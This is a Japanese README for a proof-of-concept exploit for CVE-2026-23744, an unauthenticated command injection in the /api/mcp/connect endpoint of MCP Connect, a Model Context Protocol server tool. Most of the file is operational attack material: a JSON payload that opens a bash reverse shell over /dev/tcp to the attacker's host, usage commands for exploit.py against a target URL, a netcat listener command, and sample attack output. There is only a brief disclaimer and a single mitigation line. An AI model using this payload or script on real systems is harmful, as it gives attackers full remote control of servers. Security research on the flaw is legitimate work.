
CVE-2026-23744の概念実証エクスプロイト。MCP Connectにおける未認証のコマンドインジェクションにより、リモートコード実行とリバースシェルを引き起こします。
⚠️ 免責事項: このリポジトリは教育およびセキュリティ研究のみを目的としています。明示的な許可なくシステムに対してこのエクスプロイトを使用することは違法です。著者はこのコードの悪用について一切の責任を負いません。
この脆弱性は /api/mcp/connect エンドポイントに存在し、認証されていない攻撃者が悪意のある設定を持つ任意のMCP(Model Context Protocol)サーバーを登録することを可能にします。command フィールドとその args に対する検証やサニタイズが存在しないため、Webプロセスの権限でサーバー上で直接実行されるオペレーティングシステムコマンドを注入することが可能です。
これにより、侵害されたシステム上で リバースシェル を取得するために悪用できる リモートコード実行(RCE) が発生します。
| フィールド | 詳細 |
|---|---|
| タイプ | Remote Code Execution (RCE) |
| ベクター | ネットワーク(認証なしのHTTP POST) |
| エンドポイント | /api/mcp/connect |
| 深刻度 | 🔴 クリティカル |
| 認証 | 不要 |
| 影響 | サーバーの完全な制御 |
{
"serverId": "shell1",
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/<LHOST>/443 0>&1"],
"env": {}
}
}
サーバーはこの設定を処理し、提供された引数で bash コマンドを呼び出し、攻撃者への逆TCP接続を確立します。
pip install requests termcolor
python3 exploit.py -l <TU_IP> -u <URL_OBJETIVO>
| パラメータ | 説明 | 例 |
|---|---|---|
-l | あなたのIP(シェルを受信する場所) | 192.168.1.50 |
-u | ターゲットのベースURL | https://victim.com |
ターミナル1 — リスナー:
nc -nlvp 443
ターミナル2 — エクスプロイト:
python3 exploit.py -l 192.168.1.50 -u https://victim.com
[-] Please, execute the following command in another terminal:
[+] nc -nlvp 443
[-] Press 'Enter' when the command has been executed...
[+] Sending attack request...
リクエストが送信されると、ポート 443 のリスナーは侵害されたサーバーの対話型シェルを持つ逆接続を受信します。
/api/mcp/connect のbody内のすべてのフィールドを処理する前に検証およびサニタイズする。.
├── exploit.py # エクスプロイトのメインスクリプト
└── README.md # このファイル
オフェンシブセキュリティ研究を目的として Jorge Arana Fedriani によって開発されました。